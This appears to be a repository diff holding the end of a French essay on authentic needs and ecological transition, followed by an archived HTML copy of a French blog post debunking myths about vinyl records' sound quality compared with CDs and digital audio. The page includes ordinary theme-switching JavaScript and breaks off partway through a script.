<p>Dans les années 1960 et 1970, ils ont développé une théorie des besoins sophistiquée qui est d’une grande actualité<span class="spip_note_ref"> (<a href="https://www.monde-diplomatique.fr/2017/02/KEUCHEYAN/57134#nb2" class="spip_note" rel="appendix" title="André Gorz, Stratégie ouvrière et néocapitalisme, Seuil, Paris, 1964, et Ágnes (...)" id="nh2">2</a>)</span>. L’un comme l’autre ont abordé ces questions à partir d’une réflexion sur l’aliénation, laquelle peut se mesurer à l’aune de besoins authentiques. En effet, on est aliéné par rapport à un état idéal auquel on cherche à revenir, ou que l’on cherche à atteindre enfin. La notion désigne le processus par lequel le capitalisme suscite des besoins artificiels qui nous éloignent de cet état. En plus d’être aliénants, la plupart de ces besoins sont écologiquement irréalistes.</p> | |||
<h3 class="spip"> Une tâche brûlante de notre temps </h3> | |||
<p>Qu’est-ce qu’un besoin «<small class="fine"> </small>authentique<small class="fine"> </small>»<small class="fine"> </small>? On pense bien sûr aux exigences dont dépendent la survie ou le bien-être de l’organisme : manger, boire ou se protéger du froid, par exemple. Dans les pays du Sud, et même du Nord, certains de ces besoins élémentaires ne sont pas satisfaits. D’autres, qui l’étaient autrefois, le sont de moins en moins. Jusqu’à récemment, respirer un air non pollué allait de soi<small class="fine"> </small>; c’est devenu difficile dans les mégapoles contemporaines. Il en va de même pour le sommeil. Aujourd’hui, la pollution lumineuse rend l’endormissement difficile pour nombre de personnes, l’omniprésence de la lumière dans les villes retardant la synthèse de la mélatonine (surnommée «<small class="fine"> </small>hormone du sommeil<small class="fine"> </small>»). Dans certains pays, la lutte contre la pollution lumineuse a suscité l’émergence de mouvements sociaux revendiquant un «<small class="fine"> </small>droit à l’obscurité<small class="fine"> </small>» et appelant à la création de «<small class="fine"> </small>parcs aux étoiles<small class="fine"> </small>» non pollués par la lumière artificielle<span class="spip_note_ref"> (<a href="https://www.monde-diplomatique.fr/2017/02/KEUCHEYAN/57134#nb3" class="spip_note" rel="appendix" title="Cf. Marc Lettau, « Face à la pollution lumineuse en Suisse, les adeptes de (...)" id="nh3">3</a>)</span>.</p> | |||
<p>L’exemple de la pollution sonore parle également à nombre de citadins. On consacre des volumes croissants d’argent à l’isolation des logements, afin de satisfaire un besoin — le silence — autrefois gratuit. Ces dépenses nouvelles sont susceptibles de peser à la baisse sur le taux de profit, mais elles offrent simultanément des sources d’enrichissement, par exemple pour les entreprises spécialisées dans l’insonorisation.</p> | |||
<p>Tous les besoins «<small class="fine"> </small>authentiques<small class="fine"> </small>» ne sont pas d’ordre biologique. Aimer et être aimé, se cultiver, faire preuve d’autonomie et de créativité manuelle et intellectuelle, prendre part à la vie de la cité, contempler la nature... sur le plan physiologique, on peut certainement faire sans. Mais ces besoins sont consubstantiels à la définition d’une vie humaine digne d’être vécue. André Gorz les appelle <i>«<small class="fine"> </small>besoins qualitatifs<small class="fine"> </small>»</i><small class="fine"> </small>; Ágnes Heller, <i>«<small class="fine"> </small>besoins radicaux<small class="fine"> </small>».</i></p> | |||
<p>Les besoins qualitatifs ou radicaux reposent sur un paradoxe. En même temps qu’il exploite et aliène, le capitalisme génère à la longue un certain bien-être matériel pour des secteurs importants de la population. Il libère de ce fait les individus de l’obligation de lutter au quotidien pour assurer leur survie. De nouvelles aspirations, qualitatives, prennent alors de l’importance. Mais, à mesure qu’il monte en puissance, le capitalisme empêche leur pleine réalisation. La division du travail enferme l’individu dans des fonctions et des compétences étroites tout au long de sa vie, lui interdisant de développer librement la gamme des facultés humaines. De même, le consumérisme ensevelit les besoins authentiques sous des besoins factices. L’achat d’une marchandise satisfait rarement un vrai manque. Il procure une satisfaction momentanée<small class="fine"> </small>; puis le désir que la marchandise avait elle-même créé se redéploie vers une autre vitrine.</p> | |||
<p>Constitutifs de notre être, les besoins authentiques ne peuvent trouver leur satisfaction dans le régime économique actuel. C’est pourquoi ils sont le ferment de bien des mouvements d’émancipation. <i>«<small class="fine"> </small>Le besoin est révolutionnaire en germe<small class="fine"> </small>»,</i> dit André Gorz<span class="spip_note_ref"> (<a href="https://www.monde-diplomatique.fr/2017/02/KEUCHEYAN/57134#nb4" class="spip_note" rel="appendix" title="André Gorz, La Morale de l’histoire, Seuil, Paris, 1959." id="nh4">4</a>)</span>. La quête de son assouvissement conduit tôt ou tard les individus à soumettre le système à la critique.</p> | |||
<p>Les besoins qualitatifs évoluent historiquement. Voyager, par exemple, permet à l’individu de se cultiver et de s’ouvrir à l’altérité. Jusqu’au milieu du XXe siècle, seules les élites voyageaient. Désormais, la pratique se démocratise. On pourrait définir le progrès social par l’apparition de besoins toujours plus enrichissants et sophistiqués, et accessibles au plus grand nombre.</p> | |||
<p>Mais des aspects néfastes apparaissent parfois en cours de route. Si le transport en avion proposé par les compagnies à bas coût contribue à rendre le voyage accessible aux classes populaires, il émet aussi une énorme quantité de gaz à effet de serre, et il détruit les équilibres des zones où les touristes se rendent en masse pour voir... d’autres touristes en train de regarder ce qu’il y a à voir. Voyager est devenu un besoin authentique<small class="fine"> </small>; il faudra pourtant inventer de nouvelles façons de se déplacer, adaptées au monde de demain.</p> | |||
<p>Si le progrès social induit parfois des effets pervers, des besoins à l’origine néfastes peuvent, à l’inverse, devenir viables avec le temps. Aujourd’hui, la possession d’un smartphone relève d’un besoin égoïste. Ces téléphones contiennent des «<small class="fine"> </small>minerais de sang<small class="fine"> </small>» — tungstène, tantale, étain et or notamment —, dont l’extraction occasionne des conflits armés et des pollutions graves. Ce n’est pourtant pas l’appareil lui-même qui est en question. Si un smartphone «<small class="fine"> </small>équitable<small class="fine"> </small>» voit le jour — le Fairphone semble en être une préfiguration<span class="spip_note_ref"> (<a href="https://www.monde-diplomatique.fr/2017/02/KEUCHEYAN/57134#nb5" class="spip_note" rel="appendix" title="Lire Emmanuel Raoul, « Peut-on fabriquer un téléphone équitable ? », Le Monde (...)" id="nh5">5</a>)</span> —, il n’y a pas de raison que cet objet soit banni des sociétés futures. D’autant plus qu’il a donné lieu à des formes de sociabilité nouvelles, à travers l’accès continu aux réseaux sociaux ou grâce à l’appareil photographique qu’il intègre. Qu’il encourage le narcissisme ou génère des névroses chez ses utilisateurs n’est sans doute pas inévitable. En ce sens, on ne peut exclure que le smartphone, à travers certains de ses usages, se transforme progressivement en besoin qualitatif, comme le voyage avant lui.</p> | |||
<p>Selon André Gorz, la société capitaliste a pour devise : «<small class="fine"> </small>Ce qui est bon pour tous ne vaut rien. Tu ne seras respectable que si tu as “mieux” que les autres<span class="spip_note_ref"> (<a href="https://www.monde-diplomatique.fr/2017/02/KEUCHEYAN/57134#nb6" class="spip_note" rel="appendix" title="Lire André Gorz, « Leur écologie et la nôtre », Le Monde diplomatique, avril (...)" id="nh6">6</a>)</span>.<small class="fine"> </small>» On peut lui opposer une devise écologiste : «<small class="fine"> </small>Seul est digne de toi ce qui est bon pour tous. Seul mérite d’être produit ce qui ne privilégie ni n’abaisse personne.<small class="fine"> </small>» Aux yeux de Gorz, un besoin qualitatif a ceci de particulier qu’il ne donne pas prise à la «<small class="fine"> </small>distinction<small class="fine"> </small>».</p> | |||
<p>En régime capitaliste, la consommation revêt en effet une dimension ostentatoire. Acheter le dernier modèle de voiture revient à exhiber un statut social (réel ou supposé). Un beau jour, cependant, ce modèle passe de mode et son pouvoir distinctif s’effondre, provoquant le besoin d’un autre achat. Cette fuite en avant inhérente à l’économie de marché contraint les entreprises qui se concurrencent à produire des marchandises toujours nouvelles.</p> | |||
<p>Comment rompre avec cette logique de distinction productiviste<small class="fine"> </small>? Par exemple, en allongeant la durée de vie des objets. Une pétition lancée par Les Amis de la Terre exige que l’on fasse passer la garantie des marchandises de deux ans — une obligation inscrite dans le droit européen — à dix ans<span class="spip_note_ref"> (<a href="https://www.monde-diplomatique.fr/2017/02/KEUCHEYAN/57134#nb7" class="spip_note" rel="appendix" title="« Signez la pétition “Garantie 10 ans maintenant” », 24 octobre (...)" id="nh7">7</a>)</span>. Plus de 80<small class="fine"> </small>% des objets sous garantie sont réparés<small class="fine"> </small>; or ce pourcentage tombe à moins de 40<small class="fine"> </small>% une fois l’échéance passée. Moralité : plus la garantie est longue, plus les objets durent<small class="fine"> </small>; et plus la quantité de marchandises vendues et donc produites diminue, limitant par la même occasion les logiques de distinction, qui reposent souvent sur l’effet de nouveauté. La garantie, c’est la lutte des classes appliquée à la durée de vie des objets.</p> | |||
<p>Qui détermine le caractère légitime ou non d’un besoin<small class="fine"> </small>? Un risque apparaît ici, qu’Ágnes Heller appelle la <i>«<small class="fine"> </small>dictature sur les besoins</i><span class="spip_note_ref"> (<a href="https://www.monde-diplomatique.fr/2017/02/KEUCHEYAN/57134#nb8" class="spip_note" rel="appendix" title="Cf. Ferenc Fehér, Ágnes Heller et György Márkus, Dictatorship Over Needs, St. (...)" id="nh8">8</a>)</span><i><small class="fine"> </small>»,</i> comme celle qui prévalut en URSS. Si une bureaucratie d’experts autoproclamés décide de ce que sont les besoins «<small class="fine"> </small>authentiques<small class="fine"> </small>», et par conséquent les choix de production et de consommation, ceux-ci ont peu de chances d’être judicieux et légitimes. Pour que la population accepte la transition écologique, il faut que les décisions qui la sous-tendent emportent l’adhésion. Établir une liste de besoins authentiques n’a rien d’évident et suppose une délibération collective continue. Il s’agit donc de mettre en place un mécanisme qui vienne d’en bas, d’où émane démocratiquement une identification des besoins raisonnables.</p> | |||
<p>Difficile d’imaginer ce que pourrait être un tel mécanisme. En esquisser les contours constitue une tâche brûlante de notre temps, dont dépend la construction d’une société juste et viable. La puissance publique a certainement un rôle à jouer, par exemple en taxant les besoins futiles pour démocratiser les besoins authentiques, en régulant les choix des consommateurs. Mais encore faut-il convaincre de la futilité de nombreux besoins<small class="fine"> </small>; et, pour cela, il faut un dispositif situé au plus près des individus. Il s’agit d’extraire le consommateur de son tête-à-tête avec la marchandise et de réorienter la <i>libido consumandi</i> vers d’autres désirs.</p> | |||
<p>La transition écologique nous incite à fonder une démocratie directe, plus délibérative que représentative. L’adaptation des sociétés à la crise environnementale suppose de réorganiser de fond en comble la vie quotidienne des populations. Or cela ne se fera pas sans les mobiliser, sans s’appuyer sur leurs savoirs et leurs savoir-faire, et sans transformer dans un même mouvement les subjectivités consuméristes. C’est donc à une nouvelle «<small class="fine"> </small>critique de la vie quotidienne<small class="fine"> </small>» qu’il faut parvenir<small class="fine"> </small>; une critique élaborée collectivement.</p> |
@@ -0,0 +1,425 @@ | |||
<!doctype html><!-- This is a valid HTML5 document. --> | |||
<!-- Screen readers, SEO, extensions and so on. --> | |||
<html lang="fr"> | |||
<!-- Has to be within the first 1024 bytes, hence before the `title` element | |||
See: https://www.w3.org/TR/2012/CR-html5-20121217/document-metadata.html#charset --> | |||
<meta charset="utf-8"> | |||
<!-- Why no `X-UA-Compatible` meta: https://stackoverflow.com/a/6771584 --> | |||
<!-- The viewport meta is quite crowded and we are responsible for that. | |||
See: https://codepen.io/tigt/post/meta-viewport-for-2015 --> | |||
<meta name="viewport" content="width=device-width,initial-scale=1"> | |||
<!-- Required to make a valid HTML5 document. --> | |||
<title>Le disque vinyle : débunkage (archive) — David Larlet</title> | |||
<meta name="description" content="Publication mise en cache pour en conserver une trace."> | |||
<!-- That good ol' feed, subscribe :). --> | |||
<link rel="alternate" type="application/atom+xml" title="Feed" href="/david/log/"> | |||
<!-- Generated from https://realfavicongenerator.net/ such a mess. --> | |||
<link rel="apple-touch-icon" sizes="180x180" href="/static/david/icons2/apple-touch-icon.png"> | |||
<link rel="icon" type="image/png" sizes="32x32" href="/static/david/icons2/favicon-32x32.png"> | |||
<link rel="icon" type="image/png" sizes="16x16" href="/static/david/icons2/favicon-16x16.png"> | |||
<link rel="manifest" href="/static/david/icons2/site.webmanifest"> | |||
<link rel="mask-icon" href="/static/david/icons2/safari-pinned-tab.svg" color="#07486c"> | |||
<link rel="shortcut icon" href="/static/david/icons2/favicon.ico"> | |||
<meta name="msapplication-TileColor" content="#f7f7f7"> | |||
<meta name="msapplication-config" content="/static/david/icons2/browserconfig.xml"> | |||
<meta name="theme-color" content="#f7f7f7" media="(prefers-color-scheme: light)"> | |||
<meta name="theme-color" content="#272727" media="(prefers-color-scheme: dark)"> | |||
<!-- Documented, feel free to shoot an email. --> | |||
<link rel="stylesheet" href="/static/david/css/style_2021-01-20.css"> | |||
<!-- See https://www.zachleat.com/web/comprehensive-webfonts/ for the trade-off. --> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t4_poly_regular.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: light), (prefers-color-scheme: no-preference)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t4_poly_bold.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: light), (prefers-color-scheme: no-preference)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t4_poly_italic.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: light), (prefers-color-scheme: no-preference)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t3_regular.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: dark)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t3_bold.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: dark)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t3_italic.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: dark)" crossorigin> | |||
<script> | |||
function toggleTheme(themeName) { | |||
document.documentElement.classList.toggle( | |||
'forced-dark', | |||
themeName === 'dark' | |||
) | |||
document.documentElement.classList.toggle( | |||
'forced-light', | |||
themeName === 'light' | |||
) | |||
} | |||
const selectedTheme = localStorage.getItem('theme') | |||
if (selectedTheme !== 'undefined') { | |||
toggleTheme(selectedTheme) | |||
} | |||
</script> | |||
<meta name="robots" content="noindex, nofollow"> | |||
<meta content="origin-when-cross-origin" name="referrer"> | |||
<!-- Canonical URL for SEO purposes --> | |||
<link rel="canonical" href="https://blog.cybergrunge.dev/le-disque-vinyle-debunkage"> | |||
<body class="remarkdown h1-underline h2-underline h3-underline em-underscore hr-center ul-star pre-tick" data-instant-intensity="viewport-all"> | |||
<article> | |||
<header> | |||
<h1>Le disque vinyle : débunkage</h1> | |||
</header> | |||
<nav> | |||
<p class="center"> | |||
<a href="/david/" title="Aller à l’accueil"><svg class="icon icon-home"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-home"></use> | |||
</svg> Accueil</a> • | |||
<a href="https://blog.cybergrunge.dev/le-disque-vinyle-debunkage" title="Lien vers le contenu original">Source originale</a> | |||
</p> | |||
</nav> | |||
<hr> | |||
<p id="description"> | |||
Un autre déterrage de fil Mastodon, cette fois sur les inepties qu’on peut | |||
lire à propos du disque microsillon. À une époque où je parcourais le web à | |||
la recherche de documentation sur l’histoire de l’enregistrement sonore, je | |||
tombais régulièrement sur des affirmations qui me faisaient sauter en l’air | |||
à propos du vinyle. En voici quelques exemples. | |||
</p> | |||
<blockquote>Le vinyle sonne mieux parce qu’il est analogique.</blockquote> | |||
<p>Non.</p> | |||
<p> | |||
L’électricité dans notre cerveau qui déclenche notre émotion musicale est | |||
analogique, comme le mouvement de nos tympans, comme la variation de | |||
pression de l’air, comme le mouvement de la membrane de nos haut-parleurs, | |||
comme l’électricité dans les câbles qui les relient à notre amplificateur | |||
hi-fi, comme le signal qui sort du | |||
<abbr title="Digital to Analog Converter">DAC</abbr> intégré à notre lecteur | |||
<abbr title="Compact Disc">CD</abbr>, notre smartphone ou notre ordinateur. | |||
Nous n’entendrions aucune différence si ce qui se situe avant était un | |||
disque sur une platine vinyle, ou bien l’enregistrement numérique de ce même | |||
disque tournant sur cette même platine, même si cet enregistrement était en | |||
mp3 avec un <span lang="en">bitrate</span> supérieur à 128 <abbr title="kilo bits per second">kbps</abbr>, toutes les expériences en double aveugle avec du matériel actuel l’ont | |||
prouvé. | |||
</p> | |||
<blockquote>Le vinyle sonne plus chaud, plus rond.</blockquote> | |||
<p>Oui.</p> | |||
<p> | |||
Mais c’est dû au fait qu’il n’existe que peu de cellules phono capables | |||
d’extraire les sons aigus aussi bien qu’un lecteur numérique. Et que les | |||
extrêmes aigus sont les premières fréquences à être détruites par les | |||
frottements répétés du diamant sur les parois du sillon. Les personnes qui | |||
aiment ce son particulier aiment le son qui a été dégradé par rapport à | |||
l’enregistrement d’origine. Elles peuvent aussi essayer avec | |||
<a href="https://www.son-video.com/article/vinyle-cellules-et-diamants-cellules-hi-fi/grado/epoch-3">ce type de cellules à 13 900 €</a>, mais <span lang="lat">a priori</span> ça sonnera moins chaud et moins | |||
rond. | |||
</p> | |||
<blockquote>Le vinyle a une meilleure plage dynamique.</blockquote> | |||
<p>Non.</p> | |||
<p> | |||
Bien au contraire. À cause d’un bruit de fond plus élevé (le diamant frotte | |||
sur de la matière, même dans un sillon totalement droit en l’absence de | |||
signal enregistré), la plage dynamique (qui est la différence entre les sons | |||
les plus faibles et les sons les plus forts) du vinyle est d’environ | |||
60 <abbr title="décibels">dB</abbr>. Celle du CD est de 96 dB. Ce sont les | |||
tendances récentes en matière d’enregistrement audio qui ont massacré la | |||
dynamique sur de nombreux enregistrements de l’ère numérique. Et les radios. | |||
<a href="https://www.lesnumeriques.com/audio/bienvenue-dans-guerre-volume-a2127.html">La plage dynamique de NRJ est de… 1 dB</a>. | |||
</p> | |||
<blockquote> | |||
Après la masterisation, qui s’effectuait à l’aide d’une console analogique, | |||
le son « définitif » enregistré sur une autre bande dit « maîtresse » était | |||
plus naturel, chaud et profond, bref idéal pour une gravure sur le support | |||
vinyle, tout en respectant la fameuse norme RIAA. (<a href="https://www.mesdisquesvinyles.com/dossier-ou-acheter-des-disques-vinyles-criteres-prix/">Source</a>) | |||
</blockquote> | |||
<p>😂</p> | |||
<p> | |||
Cette phrase ne veut absolument rien dire. Un master traité par la formule | |||
RIAA est inécoutable en l’état. Cette formule standardisée par la | |||
<span lang="en">Recording Industry Association of America</span> consiste à | |||
déformer l’onde du signal audio lors de l’étape du | |||
<span lang="en">mastering</span> vinyle en diminuant le niveau des basses | |||
fréquences et en augmentant celui des hautes fréquences, afin que les | |||
premières puissent tenir dans le sillon sans déborder dans la spire | |||
d’à-côté, et que les deuxièmes soient suffisamment larges pour être | |||
physiquement présentes dans le substrat en vinyle lors du pressage. | |||
L’application de la formule inverse par le préampli phono lors de la lecture | |||
permet de retrouver l’onde sonore d’origine. | |||
</p> | |||
<figure> | |||
<img src="https://blog.cybergrunge.dev/images/RIAA-EQ-Curve_rec_play.svg.png" alt="Courbes d’enregistrement et de lecture de la formule RIAA." loading="lazy"> | |||
<figcaption> | |||
Courbes d’égalisation RIAA, lors de l’enregistrement et lors de la | |||
lecture. (Image | |||
<a href="https://fr.wikipedia.org/wiki/%C3%89galisation_RIAA#/media/Fichier:RIAA-EQ-Curve_rec_play.svg">Wikipédia</a>) | |||
</figcaption> | |||
</figure> | |||
<blockquote>Le vinyle monte plus haut dans les aigus.</blockquote> | |||
<p>Oui.</p> | |||
<p> | |||
Avec une fréquence d’échantillonage numérique de 44,1 <abbr title="kilohertz">kHz</abbr>, le CD n’autorise des sons que d’une fréquence maximale de 22,05 kHz, là | |||
où le vinyle peut en théorie stocker de l’information sans limites en termes | |||
de fréquence (à part la limite quantique qu’est la longueur de Planck). Mais | |||
au bout d’une dizaine de lectures, le diamant d’une platine aura déjà raboté | |||
les infimes variations de matière correspondant aux fréquences supérieures à | |||
cette valeur sur un disque vinyle. Et de toutes façons, l’oreille humaine ne | |||
peut percevoir de fréquences au-delà de 20 kHz environ. Et encore, au début | |||
de sa vie. Si vous êtes en âge de lire ce blog, vous n’êtes plus dans ce | |||
cas, désolé 😬. | |||
</p> | |||
<blockquote> | |||
Les signaux gauche et droit de la stéréo sont gravés sur les flancs gauche | |||
et droit du sillon. | |||
</blockquote> | |||
<p>Non.</p> | |||
<p> | |||
Mais c’est un autre sujet. Qui fera peut-être l’objet d’un autre billet, qui | |||
sait. | |||
</p> | |||
<blockquote> | |||
Le vinyle est une vraie représentation de l’onde sonore, alors que le | |||
numérique n’en garde que des pointillés. | |||
</blockquote> | |||
<p>Oui.</p> | |||
<p> | |||
En tant que signal continu, la gravure d’un microsillon se veut être | |||
l’inscription exacte (moyennant la courbe RIAA) du son dans la matière | |||
plastique. Le CD, quant à lui, restitue 44 100 échantillons de cette onde | |||
par seconde. Quelle serait la distance entre ces échantillons, si on les | |||
représentait le long d’un sillon de vinyle ? Calculons. | |||
</p> | |||
<p> | |||
Un <abbr title="Long Player">LP</abbr>, ou « 33 tours », tourne 100/3 fois | |||
sur lui-même en une minute. La première spire d’un LP, celle qui présente la | |||
meilleure qualité sonore pressée (mais pas forcément la meilleure qualité | |||
restituée. Pourquoi ? Autre sujet, prochain billet, peut-être 😉), a un | |||
diamètre approximatif de 28 cm. Son périmètre est donc de 2 x π x 14 cm, | |||
soit ≈ 48,87 cm. Si l’on divise maintenant cette valeur par le nombre | |||
d’échantillons par seconde (44 100), on découvre que les échantillons | |||
seraient espacés de 0,001 cm le long du sillon. Cela correspond à 10 <abbr title="micromètres">µm</abbr>. | |||
</p> | |||
<p> | |||
À titre de comparaison, un spermatozoïde mesure, flagelle compris, environ | |||
50 µm. Il faut donc se représenter l’échantillonage de qualité CD comme un | |||
pointillé le long du sillon tous les 1/5 de spermatozoïde. | |||
</p> | |||
<p> | |||
Si l’on considère la taille et le nombre des poussières déposées sur le | |||
vinyle et de celles incrustées lors de son pressage (qui n’est pas effectué | |||
en salle blanche), cela remet les choses en perspectives. | |||
</p> | |||
<p> | |||
Quelques photos prises au microscope électronique avec l’échelle représentée | |||
peuvent aussi nous y aider. | |||
</p> | |||
<figure class="quintuple"> | |||
<img src="https://blog.cybergrunge.dev/images/r2_5.jpg" alt="Microsillon au microscope électronique, grossissement 1000 fois." loading="lazy" id="ogimage"> | |||
<img src="https://blog.cybergrunge.dev/images/record_groove.jpg" alt="Microsillon au microscope électronique, grossissement 500 fois." loading="lazy"> | |||
<img src="https://blog.cybergrunge.dev/images/grv3.jpg" alt="Microsillons au microscope électronique, vus d’en haut, grossissement 200 fois." loading="lazy"> | |||
<img src="https://blog.cybergrunge.dev/images/record_1.jpg" alt="Microsillons au microscope électronique, vus d’en haut en biais, grossissement 200 fois." loading="lazy"> | |||
<img src="https://blog.cybergrunge.dev/images/96d6ba8330cfdb1ab8952a66560bafeec87bdcae3cf031a26565cd5df097800a.jpg" alt="Spermatozoïde au microscope électronique, grossissement 9000 fois." loading="lazy"> | |||
<figcaption> | |||
(Photos | |||
<a href="http://www2.optics.rochester.edu/workgroups/cml/opt307/spr05/chris/">Chris Supranowitz</a> | |||
et <a href="https://images.cnrs.fr/photo/20110001_0554">CNRS</a> ) | |||
</figcaption> | |||
</figure> | |||
<p> | |||
Ajoutons enfin que le signal électrique envoyé à l’amplificateur par le | |||
dispositif de conversion numérique vers analogique (intégré à la platine CD, | |||
à l’ordinateur, au smartphone, ou bien externe à ceux-ci), appelé DAC, n’est | |||
pas le signal « haché » correspondant à une sinusoïde qui serait constituée | |||
de chacun des points d’échantillonnage reliés par un segment de droite. Le | |||
travail du DAC est de recalculer une courbe « douce », continue, à partir | |||
des points d’échantillonnage discrets. Un DAC de qualité correcte fournira | |||
donc une onde tout à fait similaire à celle récupérée à la sortie de | |||
l’amplificateur phono d’une platine vinyle. Le bruit de fond et les | |||
parasites physiques en moins. | |||
</p> | |||
<blockquote>OK, j’ai compris, le vinyle c’est pourri.</blockquote> | |||
<p>Pas du tout. 🙂</p> | |||
<p> | |||
Je n’achète de la musique qu’en format vinyle depuis des années. J’ai la | |||
chance d’écouter des artistes un peu « hipsters » qui se sont lancés il y a | |||
déjà un moment dans ce qui est maintenant devenu une mode, un | |||
<span lang="en">revival</span>. | |||
</p> | |||
<p> | |||
J’écoute ma musique essentiellement en format numérique sans perte (<span lang="en">lossless</span>), que je télécharge souvent « illégalement », et j’achète seulement les | |||
vinyles des artistes que j’écoute le plus pour les soutenir fiancièrement et | |||
pour le côté fétichiste de l’objet. J’aime la qualité parfaite du son | |||
numérique sur un bon système hi-fi, et je ne pourrais pas me permettre de | |||
payer toute la musique que j’écoute. Et même si je le pouvais, je refuse | |||
d’acheter des fichiers numériques à l’unité (à part sur Bandcamp pour | |||
soutenir les artistes qui n’ont pas pu matérialiser leurs œuvres), sans la | |||
petite satisfaction du déballage, sans le petit rituel d’écoute d’un bout à | |||
l’autre de l’album en feuilletant le livret. | |||
</p> | |||
<p> | |||
Je pourrais, dans la même démarche de soutien financier de l’artiste, | |||
acheter des CD comme je l’ai fait pendant des années, mais je trouve l’objet | |||
moche et sans âme, et après avoir importé les fichiers numériques sur | |||
l’ordinateur, ne n’y touche plus jamais. | |||
</p> | |||
<figure> | |||
<img src="https://blog.cybergrunge.dev/images/img_4703.jpg" alt="Vinyle transparent avec inclusions de noir, sur une platine." loading="lazy"> | |||
<figcaption> | |||
Édition limitée de l’album d’Emma Ruth Rundle, Engine of Hell. | |||
</figcaption> | |||
</figure> | |||
<p> | |||
J’aime les grandes pochettes des vinyles, j’aime les éditions spéciales | |||
soignées et leurs disques aux couleurs improbables, j’aime voir le son | |||
imprimé dans la matière, et me rappeler les étapes et les défis techniques | |||
qu’il a fallu traverser pour approcher d’aussi près la perfection avant que | |||
cela ne devienne si facile avec le numérique, j’aime découvrir les | |||
<span lang="en">runout-groove etchings</span> (les quoi ? Autre sujet, | |||
billet, peut-être) et leurs petits messages cachés, j’aime les moments où je | |||
prends le temps de poser le disque pour rendre hommage à l’album entier avec | |||
ses enchaînements tels qu’ils ont été conçus par l’artiste, j’aime savoir | |||
que la courroie, le bras, la cellule, le diamant ne seront jamais dans une | |||
configuration parfaite tellement les paramètres sont variables, j’aime la | |||
surprise trop rare d’entendre un son presque aussi profond que celui de la | |||
version numérique lorsque les techniciens ont mis toute leur expertise en | |||
œuvre pour créer un bon et beau disque qui rend justice au travail de | |||
l’artiste. | |||
</p> | |||
<figure class="double"> | |||
<img src="https://blog.cybergrunge.dev/images/9e2ce4dccfdaf790.jpg" alt="Gravure sur un vinyle, près de l’étiquette : « KIM, KELLEY, JOSEPHINE, JIM »." loading="lazy"> | |||
<img src="https://blog.cybergrunge.dev/images/49a66d9daf82d45a.jpg" alt="À l’opposé, une tête de chat dessinée." loading="lazy"> | |||
<figcaption> | |||
Les <span lang="en">runout-groove etchings</span> sur l’album des | |||
Breeders <cite>All Nerves</cite>. | |||
</figcaption> | |||
</figure> | |||
<p> | |||
J’aime la musique en concert, j’aime la musique enregistrée, et j’aime le | |||
disque vinyle. 😍 | |||
</p> | |||
</article> | |||
<hr> | |||
<footer> | |||
<p> | |||
<a href="/david/" title="Aller à l’accueil"><svg class="icon icon-home"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-home"></use> | |||
</svg> Accueil</a> • | |||
<a href="/david/log/" title="Accès au flux RSS"><svg class="icon icon-rss2"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-rss2"></use> | |||
</svg> Suivre</a> • | |||
<a href="http://larlet.com" title="Go to my English profile" data-instant><svg class="icon icon-user-tie"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-user-tie"></use> | |||
</svg> Pro</a> • | |||
<a href="mailto:david%40larlet.fr" title="Envoyer un courriel"><svg class="icon icon-mail"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-mail"></use> | |||
</svg> Email</a> • | |||
<abbr class="nowrap" title="Hébergeur : Alwaysdata, 62 rue Tiquetonne 75002 Paris, +33184162340"><svg class="icon icon-hammer2"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-hammer2"></use> | |||
</svg> Légal</abbr> | |||
</p> | |||
<template id="theme-selector"> | |||
<form> | |||
<fieldset> | |||
<legend><svg class="icon icon-brightness-contrast"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-brightness-contrast"></use> | |||
</svg> Thème</legend> | |||
<label> | |||
<input type="radio" value="auto" name="chosen-color-scheme" checked> Auto | |||
</label> | |||
<label> | |||
<input type="radio" value="dark" name="chosen-color-scheme"> Foncé | |||
</label> | |||
<label> | |||
<input type="radio" value="light" name="chosen-color-scheme"> Clair | |||
</label> | |||
</fieldset> | |||
</form> | |||
</template> | |||
</footer> | |||
<script src="/static/david/js/instantpage-5.1.0.min.js" type="module"></script> | |||
<script> | |||
function loadThemeForm(templateName) { | |||
const themeSelectorTemplate = document.querySelector(templateName) | |||
const form = themeSelectorTemplate.content.firstElementChild | |||
themeSelectorTemplate.replaceWith(form) | |||
form.addEventListener('change', (e) => { | |||
const chosenColorScheme = e.target.value | |||
localStorage.setItem('theme', chosenColorScheme) | |||
toggleTheme(chosenColorScheme) | |||
}) | |||
const selectedTheme = localStorage.getItem('theme') | |||
if (selectedTheme && selectedTheme !== 'undefined') { | |||
form.querySelector(`[value="${selectedTheme}"]`).checked = true | |||
} | |||
} | |||
const prefersColorSchemeDark = '(prefers-color-scheme: dark)' | |||
window.addEventListener('load', () => { | |||
let hasDarkRules = false | |||
for (const styleSheet of Array.from(document.styleSheets)) { | |||
let mediaRules = [] | |||
for (const cssRule of styleSheet.cssRules) { | |||
if (cssRule.type !== CSSRule.MEDIA_RULE) { | |||
continue | |||
} | |||
// WARNING: Safari does not have/supports `conditionText`. | |||
if (cssRule.conditionText) { | |||
if (cssRule.conditionText !== prefersColorSchemeDark) { | |||
continue | |||
} | |||
} else { | |||
if (cssRule.cssText.startsWith(prefersColorSchemeDark)) { | |||
continue | |||
} | |||
} | |||
mediaRules = mediaRules.concat(Array.from(cssRule.cssRules)) | |||
} | |||
// WARNING: do not try to insert a Rule to a styleSheet you are | |||
// currently iterating on, otherwise the browser will be stuck | |||
// in a infinite loop… | |||
